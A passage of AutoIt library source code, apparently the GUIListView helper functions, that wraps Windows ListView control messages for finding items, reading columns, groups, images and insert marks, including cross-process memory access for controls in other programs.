  5059.         Else
  5060.             Return HWnd(GUICtrlSendMsg($hwnd, $lvm_editlabel, $iindex, 0))
  5061.         EndIf
  5062.     EndIf
  5063. EndFunc
  5064.  
  5065. Func _guictrllistview_enablegroupview($hwnd, $fenable = True)
  5066.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5067.     If IsHWnd($hwnd) Then
  5068.         Return _sendmessage($hwnd, $lvm_enablegroupview, $fenable)
  5069.     Else
  5070.         Return GUICtrlSendMsg($hwnd, $lvm_enablegroupview, $fenable, 0)
  5071.     EndIf
  5072. EndFunc
  5073.  
  5074. Func _guictrllistview_endupdate($hwnd)
  5075.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5076.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  5077.     Return _sendmessage($hwnd, $__listviewconstant_wm_setredraw, 1) = 0
  5078. EndFunc
  5079.  
  5080. Func _guictrllistview_ensurevisible($hwnd, $iindex, $fpartialok = False)
  5081.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5082.     If IsHWnd($hwnd) Then
  5083.         Return _sendmessage($hwnd, $lvm_ensurevisible, $iindex, $fpartialok)
  5084.     Else
  5085.         Return GUICtrlSendMsg($hwnd, $lvm_ensurevisible, $iindex, $fpartialok)
  5086.     EndIf
  5087. EndFunc
  5088.  
  5089. Func _guictrllistview_findintext($hwnd, $stext, $istart = -1, $fwrapok = True, $freverse = False)
  5090.     Local $icount = _guictrllistview_getitemcount($hwnd)
  5091.     Local $icolumns = _guictrllistview_getcolumncount($hwnd)
  5092.     If $icolumns = 0 Then $icolumns = 1
  5093.     If $freverse AND $istart = -1 Then Return  - 1
  5094.     Local $slist
  5095.     If $freverse Then
  5096.         For $ii = $istart - 1 To 0 Step -1
  5097.             For $ij = 0 To $icolumns - 1
  5098.                 $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
  5099.                 If StringInStr($slist, $stext) Then Return $ii
  5100.             Next
  5101.         Next
  5102.     Else
  5103.         For $ii = $istart + 1 To $icount - 1
  5104.             For $ij = 0 To $icolumns - 1
  5105.                 $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
  5106.                 If StringInStr($slist, $stext) Then Return $ii
  5107.             Next
  5108.         Next
  5109.     EndIf
  5110.     If (($istart = -1) OR NOT $fwrapok) AND NOT $freverse Then Return  - 1
  5111.     If $freverse AND $fwrapok Then
  5112.         For $ii = $icount - 1 To $istart + 1 Step -1
  5113.             For $ij = 0 To $icolumns - 1
  5114.                 $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
  5115.                 If StringInStr($slist, $stext) Then Return $ii
  5116.             Next
  5117.         Next
  5118.     Else
  5119.         For $ii = 0 To $istart - 1
  5120.             For $ij = 0 To $icolumns - 1
  5121.                 $slist = _guictrllistview_getitemtext($hwnd, $ii, $ij)
  5122.                 If StringInStr($slist, $stext) Then Return $ii
  5123.             Next
  5124.         Next
  5125.     EndIf
  5126.     Return  - 1
  5127. EndFunc
  5128.  
  5129. Func _guictrllistview_finditem($hwnd, $istart, ByRef $tfindinfo, $stext = "")
  5130.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5131.     Local $ibuffer = StringLen($stext) + 1
  5132.     Local $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  5133.     Local $pbuffer = DllStructGetPtr($tbuffer)
  5134.     DllStructSetData($tbuffer, "Text", $stext)
  5135.     Local $iret
  5136.     If IsHWnd($hwnd) Then
  5137.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5138.             DllStructSetData($tfindinfo, "Text", $pbuffer)
  5139.             $iret = _sendmessage($hwnd, $lvm_finditem, $istart, $tfindinfo, 0, "wparam", "struct*")
  5140.         Else
  5141.             Local $ifindinfo = DllStructGetSize($tfindinfo)
  5142.             Local $tmemmap
  5143.             Local $pmemory = _meminit($hwnd, $ifindinfo + $ibuffer, $tmemmap)
  5144.             Local $ptext = $pmemory + $ifindinfo
  5145.             DllStructSetData($tfindinfo, "Text", $ptext)
  5146.             _memwrite($tmemmap, $tfindinfo, $pmemory, $ifindinfo)
  5147.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  5148.             $iret = _sendmessage($hwnd, $lvm_finditem, $istart, $pmemory, 0, "wparam", "ptr")
  5149.             _memfree($tmemmap)
  5150.         EndIf
  5151.     Else
  5152.         DllStructSetData($tfindinfo, "Text", $pbuffer)
  5153.         $iret = GUICtrlSendMsg($hwnd, $lvm_finditem, $istart, DllStructGetPtr($tfindinfo))
  5154.     EndIf
  5155.     Return $iret
  5156. EndFunc
  5157.  
  5158. Func _guictrllistview_findnearest($hwnd, $ix, $iy, $idir = 0, $istart = -1, $fwrapok = True)
  5159.     Local $adir[8] = [$__listviewconstant_vk_left, $__listviewconstant_vk_right, $__listviewconstant_vk_up, $__listviewconstant_vk_down, $__listviewconstant_vk_home, $__listviewconstant_vk_end, $__listviewconstant_vk_prior, $__listviewconstant_vk_next]
  5160.     Local $tfindinfo = DllStructCreate($taglvfindinfo)
  5161.     Local $iflags = $lvfi_nearestxy
  5162.     If $fwrapok Then $iflags = BitOR($iflags, $lvfi_wrap)
  5163.     DllStructSetData($tfindinfo, "Flags", $iflags)
  5164.     DllStructSetData($tfindinfo, "X", $ix)
  5165.     DllStructSetData($tfindinfo, "Y", $iy)
  5166.     DllStructSetData($tfindinfo, "Direction", $adir[$idir])
  5167.     Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo)
  5168. EndFunc
  5169.  
  5170. Func _guictrllistview_findparam($hwnd, $iparam, $istart = -1)
  5171.     Local $tfindinfo = DllStructCreate($taglvfindinfo)
  5172.     DllStructSetData($tfindinfo, "Flags", $lvfi_param)
  5173.     DllStructSetData($tfindinfo, "Param", $iparam)
  5174.     Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo)
  5175. EndFunc
  5176.  
  5177. Func _guictrllistview_findtext($hwnd, $stext, $istart = -1, $fpartialok = True, $fwrapok = True)
  5178.     Local $tfindinfo = DllStructCreate($taglvfindinfo)
  5179.     Local $iflags = $lvfi_string
  5180.     If $fpartialok Then $iflags = BitOR($iflags, $lvfi_partial)
  5181.     If $fwrapok Then $iflags = BitOR($iflags, $lvfi_wrap)
  5182.     DllStructSetData($tfindinfo, "Flags", $iflags)
  5183.     Return _guictrllistview_finditem($hwnd, $istart, $tfindinfo, $stext)
  5184. EndFunc
  5185.  
  5186. Func _guictrllistview_getbkcolor($hwnd)
  5187.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5188.     Local $v_color
  5189.     If IsHWnd($hwnd) Then
  5190.         $v_color = _sendmessage($hwnd, $lvm_getbkcolor)
  5191.     Else
  5192.         $v_color = GUICtrlSendMsg($hwnd, $lvm_getbkcolor, 0, 0)
  5193.     EndIf
  5194.     Return __guictrllistview_reversecolororder($v_color)
  5195. EndFunc
  5196.  
  5197. Func _guictrllistview_getbkimage($hwnd)
  5198.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5199.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5200.     Local $tbuffer
  5201.     If $funicode Then
  5202.         $tbuffer = DllStructCreate("wchar Text[4096]")
  5203.     Else
  5204.         $tbuffer = DllStructCreate("char Text[4096]")
  5205.     EndIf
  5206.     Local $pbuffer = DllStructGetPtr($tbuffer)
  5207.     Local $timage = DllStructCreate($taglvbkimage)
  5208.     DllStructSetData($timage, "ImageMax", 4096)
  5209.     Local $iret
  5210.     If IsHWnd($hwnd) Then
  5211.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5212.             DllStructSetData($timage, "Image", $pbuffer)
  5213.             $iret = _sendmessage($hwnd, $lvm_getbkimagew, 0, $timage, 0, "wparam", "struct*")
  5214.         Else
  5215.             Local $ibuffer = DllStructGetSize($tbuffer)
  5216.             Local $iimage = DllStructGetSize($timage)
  5217.             Local $tmemmap
  5218.             Local $pmemory = _meminit($hwnd, $iimage + $ibuffer, $tmemmap)
  5219.             Local $ptext = $pmemory + $iimage
  5220.             DllStructSetData($timage, "Image", $ptext)
  5221.             _memwrite($tmemmap, $timage, $pmemory, $iimage)
  5222.             If $funicode Then
  5223.                 $iret = _sendmessage($hwnd, $lvm_getbkimagew, 0, $pmemory, 0, "wparam", "ptr")
  5224.             Else
  5225.                 $iret = _sendmessage($hwnd, $lvm_getbkimagea, 0, $pmemory, 0, "wparam", "ptr")
  5226.             EndIf
  5227.             _memread($tmemmap, $pmemory, $timage, $iimage)
  5228.             _memread($tmemmap, $ptext, $tbuffer, $ibuffer)
  5229.             _memfree($tmemmap)
  5230.         EndIf
  5231.     Else
  5232.         Local $pimage = DllStructGetPtr($timage)
  5233.         DllStructSetData($timage, "Image", $pbuffer)
  5234.         If $funicode Then
  5235.             $iret = GUICtrlSendMsg($hwnd, $lvm_getbkimagew, 0, $pimage)
  5236.         Else
  5237.             $iret = GUICtrlSendMsg($hwnd, $lvm_getbkimagea, 0, $pimage)
  5238.         EndIf
  5239.     EndIf
  5240.     Local $aimage[4]
  5241.     Switch BitAND(DllStructGetData($timage, "Flags"), $lvbkif_source_mask)
  5242.         Case $lvbkif_source_hbitmap
  5243.             $aimage[0] = 1
  5244.         Case $lvbkif_source_url
  5245.             $aimage[0] = 2
  5246.     EndSwitch
  5247.     $aimage[1] = DllStructGetData($tbuffer, "Text")
  5248.     $aimage[2] = DllStructGetData($timage, "XOffPercent")
  5249.     $aimage[3] = DllStructGetData($timage, "YOffPercent")
  5250.     Return SetError($iret <> 0, 0, $aimage)
  5251. EndFunc
  5252.  
  5253. Func _guictrllistview_getcallbackmask($hwnd)
  5254.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5255.     Local $iflags = 0
  5256.     Local $imask = _sendmessage($hwnd, $lvm_getcallbackmask)
  5257.     If BitAND($imask, $lvis_cut) <> 0 Then $iflags = BitOR($iflags, 1)
  5258.     If BitAND($imask, $lvis_drophilited) <> 0 Then $iflags = BitOR($iflags, 2)
  5259.     If BitAND($imask, $lvis_focused) <> 0 Then $iflags = BitOR($iflags, 4)
  5260.     If BitAND($imask, $lvis_selected) <> 0 Then $iflags = BitOR($iflags, 8)
  5261.     If BitAND($imask, $lvis_overlaymask) <> 0 Then $iflags = BitOR($iflags, 16)
  5262.     If BitAND($imask, $lvis_stateimagemask) <> 0 Then $iflags = BitOR($iflags, 32)
  5263.     Return $iflags
  5264. EndFunc
  5265.  
  5266. Func _guictrllistview_getcolumn($hwnd, $iindex)
  5267.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5268.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  5269.     Local $tbuffer
  5270.     If $funicode Then
  5271.         $tbuffer = DllStructCreate("wchar Text[4096]")
  5272.     Else
  5273.         $tbuffer = DllStructCreate("char Text[4096]")
  5274.     EndIf
  5275.     Local $pbuffer = DllStructGetPtr($tbuffer)
  5276.     Local $tcolumn = DllStructCreate($taglvcolumn)
  5277.     DllStructSetData($tcolumn, "Mask", $lvcf_alldata)
  5278.     DllStructSetData($tcolumn, "TextMax", 4096)
  5279.     Local $iret
  5280.     If IsHWnd($hwnd) Then
  5281.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5282.             DllStructSetData($tcolumn, "Text", $pbuffer)
  5283.             $iret = _sendmessage($hwnd, $lvm_getcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
  5284.         Else
  5285.             Local $ibuffer = DllStructGetSize($tbuffer)
  5286.             Local $icolumn = DllStructGetSize($tcolumn)
  5287.             Local $tmemmap
  5288.             Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
  5289.             Local $ptext = $pmemory + $icolumn
  5290.             DllStructSetData($tcolumn, "Text", $ptext)
  5291.             _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
  5292.             If $funicode Then
  5293.                 $iret = _sendmessage($hwnd, $lvm_getcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
  5294.             Else
  5295.                 $iret = _sendmessage($hwnd, $lvm_getcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
  5296.             EndIf
  5297.             _memread($tmemmap, $pmemory, $tcolumn, $icolumn)
  5298.             _memread($tmemmap, $ptext, $tbuffer, $ibuffer)
  5299.             _memfree($tmemmap)
  5300.         EndIf
  5301.     Else
  5302.         Local $pcolumn = DllStructGetPtr($tcolumn)
  5303.         DllStructSetData($tcolumn, "Text", $pbuffer)
  5304.         If $funicode Then
  5305.             $iret = GUICtrlSendMsg($hwnd, $lvm_getcolumnw, $iindex, $pcolumn)
  5306.         Else
  5307.             $iret = GUICtrlSendMsg($hwnd, $lvm_getcolumna, $iindex, $pcolumn)
  5308.         EndIf
  5309.     EndIf
  5310.     Local $acolumn[9]
  5311.     Switch BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_justifymask)
  5312.         Case $lvcfmt_right
  5313.             $acolumn[0] = 1
  5314.         Case $lvcfmt_center
  5315.             $acolumn[0] = 2
  5316.         Case Else
  5317.             $acolumn[0] = 0
  5318.     EndSwitch
  5319.     $acolumn[1] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_image) <> 0
  5320.     $acolumn[2] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_bitmap_on_right) <> 0
  5321.     $acolumn[3] = BitAND(DllStructGetData($tcolumn, "Fmt"), $lvcfmt_col_has_images) <> 0
  5322.     $acolumn[4] = DllStructGetData($tcolumn, "CX")
  5323.     $acolumn[5] = DllStructGetData($tbuffer, "Text")
  5324.     $acolumn[6] = DllStructGetData($tcolumn, "SubItem")
  5325.     $acolumn[7] = DllStructGetData($tcolumn, "Image")
  5326.     $acolumn[8] = DllStructGetData($tcolumn, "Order")
  5327.     Return SetError($iret = 0, 0, $acolumn)
  5328. EndFunc
  5329.  
  5330. Func _guictrllistview_getcolumncount($hwnd)
  5331.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5332.     Return _sendmessage(_guictrllistview_getheader($hwnd), 4608)
  5333. EndFunc
  5334.  
  5335. Func _guictrllistview_getcolumnorder($hwnd)
  5336.     Local $a_cols = _guictrllistview_getcolumnorderarray($hwnd), $s_cols = ""
  5337.     Local $separatorchar = Opt("GUIDataSeparatorChar")
  5338.     For $i = 1 To $a_cols[0]
  5339.         $s_cols &= $a_cols[$i] & $separatorchar
  5340.     Next
  5341.     $s_cols = StringTrimRight($s_cols, 1)
  5342.     Return $s_cols
  5343. EndFunc
  5344.  
  5345. Func _guictrllistview_getcolumnorderarray($hwnd)
  5346.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5347.     Local $icolumns = _guictrllistview_getcolumncount($hwnd)
  5348.     Local $tbuffer = DllStructCreate("int[" & $icolumns & "]")
  5349.     If IsHWnd($hwnd) Then
  5350.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5351.             _sendmessage($hwnd, $lvm_getcolumnorderarray, $icolumns, $tbuffer, 0, "wparam", "struct*")
  5352.         Else
  5353.             Local $ibuffer = DllStructGetSize($tbuffer)
  5354.             Local $tmemmap
  5355.             Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  5356.             _sendmessage($hwnd, $lvm_getcolumnorderarray, $icolumns, $pmemory, 0, "wparam", "ptr")
  5357.             _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
  5358.             _memfree($tmemmap)
  5359.         EndIf
  5360.     Else
  5361.         GUICtrlSendMsg($hwnd, $lvm_getcolumnorderarray, $icolumns, DllStructGetPtr($tbuffer))
  5362.     EndIf
  5363.     Local $abuffer[$icolumns + 1]
  5364.     $abuffer[0] = $icolumns
  5365.     For $ii = 1 To $icolumns
  5366.         $abuffer[$ii] = DllStructGetData($tbuffer, 1, $ii)
  5367.     Next
  5368.     Return $abuffer
  5369. EndFunc
  5370.  
  5371. Func _guictrllistview_getcolumnwidth($hwnd, $icol)
  5372.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5373.     If IsHWnd($hwnd) Then
  5374.         Return _sendmessage($hwnd, $lvm_getcolumnwidth, $icol)
  5375.     Else
  5376.         Return GUICtrlSendMsg($hwnd, $lvm_getcolumnwidth, $icol, 0)
  5377.     EndIf
  5378. EndFunc
  5379.  
  5380. Func _guictrllistview_getcounterpage($hwnd)
  5381.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5382.     If IsHWnd($hwnd) Then
  5383.         Return _sendmessage($hwnd, $lvm_getcountperpage)
  5384.     Else
  5385.         Return GUICtrlSendMsg($hwnd, $lvm_getcountperpage, 0, 0)
  5386.     EndIf
  5387. EndFunc
  5388.  
  5389. Func _guictrllistview_geteditcontrol($hwnd)
  5390.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5391.     If IsHWnd($hwnd) Then
  5392.         Return HWnd(_sendmessage($hwnd, $lvm_geteditcontrol))
  5393.     Else
  5394.         Return HWnd(GUICtrlSendMsg($hwnd, $lvm_geteditcontrol, 0, 0))
  5395.     EndIf
  5396. EndFunc
  5397.  
  5398. Func _guictrllistview_getemptytext($hwnd)
  5399.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5400.     Local $ttext = DllStructCreate("char[4096]")
  5401.     Local $iret
  5402.     If IsHWnd($hwnd) Then
  5403.         Local $itext = DllStructGetSize($ttext)
  5404.         Local $tmemmap
  5405.         Local $pmemory = _meminit($hwnd, $itext + 4096, $tmemmap)
  5406.         Local $ptext = $pmemory + $itext
  5407.         DllStructSetData($ttext, "Text", $ptext)
  5408.         _memwrite($tmemmap, $ptext, $pmemory, $itext)
  5409.         $iret = _sendmessage($hwnd, $lvm_getemptytext, 4096, $pmemory)
  5410.         _memread($tmemmap, $ptext, $ttext, 4096)
  5411.         _memfree($tmemmap)
  5412.         If $iret = 0 Then Return SetError(-1, 0, "")
  5413.         Return DllStructGetData($ttext, 1)
  5414.     Else
  5415.         $iret = GUICtrlSendMsg($hwnd, $lvm_getemptytext, 4096, DllStructGetPtr($ttext))
  5416.         If $iret = 0 Then Return SetError(-1, 0, "")
  5417.         Return DllStructGetData($ttext, 1)
  5418.     EndIf
  5419. EndFunc
  5420.  
  5421. Func _guictrllistview_getextendedlistviewstyle($hwnd)
  5422.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5423.     If IsHWnd($hwnd) Then
  5424.         Return _sendmessage($hwnd, $lvm_getextendedlistviewstyle)
  5425.     Else
  5426.         Return GUICtrlSendMsg($hwnd, $lvm_getextendedlistviewstyle, 0, 0)
  5427.     EndIf
  5428. EndFunc
  5429.  
  5430. Func _guictrllistview_getfocusedgroup($hwnd)
  5431.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5432.     If IsHWnd($hwnd) Then
  5433.         Return _sendmessage($hwnd, $lvm_getfocusedgroup)
  5434.     Else
  5435.         Return GUICtrlSendMsg($hwnd, $lvm_getfocusedgroup, 0, 0)
  5436.     EndIf
  5437. EndFunc
  5438.  
  5439. Func _guictrllistview_getgroupcount($hwnd)
  5440.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5441.     If IsHWnd($hwnd) Then
  5442.         Return _sendmessage($hwnd, $lvm_getgroupcount)
  5443.     Else
  5444.         Return GUICtrlSendMsg($hwnd, $lvm_getgroupcount, 0, 0)
  5445.     EndIf
  5446. EndFunc
  5447.  
  5448. Func _guictrllistview_getgroupinfo($hwnd, $igroupid)
  5449.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5450.     Local $tgroup = DllStructCreate($taglvgroup)
  5451.     Local $igroup = DllStructGetSize($tgroup)
  5452.     DllStructSetData($tgroup, "Size", $igroup)
  5453.     DllStructSetData($tgroup, "Mask", BitOR($lvgf_header, $lvgf_align))
  5454.     Local $iret
  5455.     If IsHWnd($hwnd) Then
  5456.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5457.             $iret = _sendmessage($hwnd, $lvm_getgroupinfo, $igroupid, $tgroup, 0, "wparam", "struct*")
  5458.         Else
  5459.             Local $tmemmap
  5460.             Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
  5461.             _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
  5462.             $iret = _sendmessage($hwnd, $lvm_getgroupinfo, $igroupid, $pmemory, 0, "wparam", "ptr")
  5463.             _memread($tmemmap, $pmemory, $tgroup, $igroup)
  5464.             _memfree($tmemmap)
  5465.         EndIf
  5466.     Else
  5467.         $iret = GUICtrlSendMsg($hwnd, $lvm_getgroupinfo, $igroupid, DllStructGetPtr($tgroup))
  5468.     EndIf
  5469.     Local $agroup[2]
  5470.     $agroup[0] = _winapi_widechartomultibyte(DllStructGetData($tgroup, "Header"))
  5471.     Select
  5472.         Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_center) <> 0
  5473.             $agroup[1] = 1
  5474.         Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_right) <> 0
  5475.             $agroup[1] = 2
  5476.         Case Else
  5477.             $agroup[1] = 0
  5478.     EndSelect
  5479.     Return SetError($iret <> $igroupid, 0, $agroup)
  5480. EndFunc
  5481.  
  5482. Func _guictrllistview_getgroupinfobyindex($hwnd, $iindex)
  5483.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5484.     Local $tgroup = DllStructCreate($taglvgroup)
  5485.     Local $igroup = DllStructGetSize($tgroup)
  5486.     DllStructSetData($tgroup, "Size", $igroup)
  5487.     DllStructSetData($tgroup, "Mask", BitOR($lvgf_header, $lvgf_align))
  5488.     Local $iret
  5489.     If IsHWnd($hwnd) Then
  5490.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5491.             $iret = _sendmessage($hwnd, $lvm_getgroupinfobyindex, $iindex, $tgroup, 0, "wparam", "struct*")
  5492.         Else
  5493.             Local $tmemmap
  5494.             Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
  5495.             _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
  5496.             $iret = _sendmessage($hwnd, $lvm_getgroupinfobyindex, $iindex, $pmemory, 0, "wparam", "ptr")
  5497.             _memread($tmemmap, $pmemory, $tgroup, $igroup)
  5498.             _memfree($tmemmap)
  5499.         EndIf
  5500.     Else
  5501.         $iret = GUICtrlSendMsg($hwnd, $lvm_getgroupinfobyindex, $iindex, DllStructGetPtr($tgroup))
  5502.     EndIf
  5503.     Local $agroup[2]
  5504.     $agroup[0] = _winapi_widechartomultibyte(DllStructGetData($tgroup, "Header"))
  5505.     Select
  5506.         Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_center) <> 0
  5507.             $agroup[1] = 1
  5508.         Case BitAND(DllStructGetData($tgroup, "Align"), $lvga_header_right) <> 0
  5509.             $agroup[1] = 2
  5510.         Case Else
  5511.             $agroup[1] = 0
  5512.     EndSelect
  5513.     Return SetError($iret = 0, 0, $agroup)
  5514. EndFunc
  5515.  
  5516. Func _guictrllistview_getgrouprect($hwnd, $igroupid, $iget = $lvggr_group)
  5517.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5518.     Local $tgroup = DllStructCreate($tagrect)
  5519.     DllStructSetData($tgroup, "Left", $iget)
  5520.     Local $iret
  5521.     If IsHWnd($hwnd) Then
  5522.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5523.             $iret = _sendmessage($hwnd, $lvm_getgrouprect, $igroupid, $tgroup, 0, "wparam", "struct*")
  5524.         Else
  5525.             Local $igroup = DllStructGetSize($tgroup)
  5526.             Local $tmemmap
  5527.             Local $pmemory = _meminit($hwnd, $igroup, $tmemmap)
  5528.             _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
  5529.             $iret = _sendmessage($hwnd, $lvm_getgrouprect, $igroupid, $pmemory, 0, "wparam", "ptr")
  5530.             _memread($tmemmap, $pmemory, $tgroup, $igroup)
  5531.             _memfree($tmemmap)
  5532.         EndIf
  5533.     Else
  5534.         $iret = GUICtrlSendMsg($hwnd, $lvm_getgrouprect, $igroupid, DllStructGetPtr($tgroup))
  5535.     EndIf
  5536.     Local $agroup[4]
  5537.     For $x = 0 To 3
  5538.         $agroup[$x] = DllStructGetData($tgroup, $x + 1)
  5539.     Next
  5540.     Return SetError($iret = 0, 0, $agroup)
  5541. EndFunc
  5542.  
  5543. Func _guictrllistview_getgroupstate($hwnd, $igroupid, $imask)
  5544.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5545.     If IsHWnd($hwnd) Then
  5546.         Return _sendmessage($hwnd, $lvm_getgroupstate, $igroupid, $imask)
  5547.     Else
  5548.         Return GUICtrlSendMsg($hwnd, $lvm_getgroupstate, $igroupid, $imask)
  5549.     EndIf
  5550. EndFunc
  5551.  
  5552. Func _guictrllistview_getgroupviewenabled($hwnd)
  5553.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5554.     If IsHWnd($hwnd) Then
  5555.         Return _sendmessage($hwnd, $lvm_isgroupviewenabled) <> 0
  5556.     Else
  5557.         Return GUICtrlSendMsg($hwnd, $lvm_isgroupviewenabled, 0, 0) <> 0
  5558.     EndIf
  5559. EndFunc
  5560.  
  5561. Func _guictrllistview_getheader($hwnd)
  5562.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5563.     If IsHWnd($hwnd) Then
  5564.         Return HWnd(_sendmessage($hwnd, $lvm_getheader))
  5565.     Else
  5566.         Return HWnd(GUICtrlSendMsg($hwnd, $lvm_getheader, 0, 0))
  5567.     EndIf
  5568. EndFunc
  5569.  
  5570. Func _guictrllistview_gethotcursor($hwnd)
  5571.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5572.     If IsHWnd($hwnd) Then
  5573.         Return _sendmessage($hwnd, $lvm_gethotcursor, 0, 0, 0, "wparam", "lparam", "handle")
  5574.     Else
  5575.         Return Ptr(GUICtrlSendMsg($hwnd, $lvm_gethotcursor, 0, 0))
  5576.     EndIf
  5577. EndFunc
  5578.  
  5579. Func _guictrllistview_gethotitem($hwnd)
  5580.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5581.     If IsHWnd($hwnd) Then
  5582.         Return _sendmessage($hwnd, $lvm_gethotitem)
  5583.     Else
  5584.         Return GUICtrlSendMsg($hwnd, $lvm_gethotitem, 0, 0)
  5585.     EndIf
  5586. EndFunc
  5587.  
  5588. Func _guictrllistview_gethovertime($hwnd)
  5589.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5590.     If IsHWnd($hwnd) Then
  5591.         Return _sendmessage($hwnd, $lvm_gethovertime)
  5592.     Else
  5593.         Return GUICtrlSendMsg($hwnd, $lvm_gethovertime, 0, 0)
  5594.     EndIf
  5595. EndFunc
  5596.  
  5597. Func _guictrllistview_getimagelist($hwnd, $iimagelist)
  5598.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5599.     Local $aimagelist[3] = [$lvsil_normal, $lvsil_small, $lvsil_state]
  5600.     If IsHWnd($hwnd) Then
  5601.         Return _sendmessage($hwnd, $lvm_getimagelist, $aimagelist[$iimagelist], 0, 0, "wparam", "lparam", "handle")
  5602.     Else
  5603.         Return Ptr(GUICtrlSendMsg($hwnd, $lvm_getimagelist, $aimagelist[$iimagelist], 0))
  5604.     EndIf
  5605. EndFunc
  5606.  
  5607. Func _guictrllistview_getinsertmark($hwnd)
  5608.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5609.     Local $tmark = DllStructCreate($taglvinsertmark)
  5610.     Local $imark = DllStructGetSize($tmark)
  5611.     DllStructSetData($tmark, "Size", $imark)
  5612.     Local $iret
  5613.     If IsHWnd($hwnd) Then
  5614.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  5615.             $iret = _sendmessage($hwnd, $lvm_getinsertmark, 0, $tmark, 0, "wparam", "struct*")
  5616.         Else
  5617.             Local $tmemmap
  5618.             Local $pmemory = _meminit($hwnd, $imark, $tmemmap)
  5619.             _memwrite($tmemmap, $tmark)
  5620.             $iret = _sendmessage($hwnd, $lvm_getinsertmark, 0, $pmemory, 0, "wparam", "ptr")
  5621.             _memread($tmemmap, $pmemory, $tmark, $imark)
  5622.             _memfree($tmemmap)
  5623.         EndIf
  5624.     Else
  5625.         $iret = GUICtrlSendMsg($hwnd, $lvm_getinsertmark, 0, DllStructGetPtr($tmark))
  5626.     EndIf
  5627.     Local $amark[2]
  5628.     $amark[0] = DllStructGetData($tmark, "Flags") = $lvim_after
  5629.     $amark[1] = DllStructGetData($tmark, "Item")
  5630.     Return SetError($iret = 0, 0, $amark)
  5631. EndFunc
  5632.  
  5633. Func _guictrllistview_getinsertmarkcolor($hwnd)
  5634.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5635.     If IsHWnd($hwnd) Then
  5636.         Return _sendmessage($hwnd, $lvm_getinsertmarkcolor, $lvsil_state)
  5637.     Else
  5638.         Return GUICtrlSendMsg($hwnd, $lvm_getinsertmarkcolor, $lvsil_state, 0)
  5639.     EndIf
  5640. EndFunc
  5641.  
  5642. Func _guictrllistview_getinsertmarkrect($hwnd)
  5643.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  5644.     Local $arect[5]
  5645.     Local $trect = DllStructCreate($tagrect)
  5646.     If IsHWnd($hwnd) Then
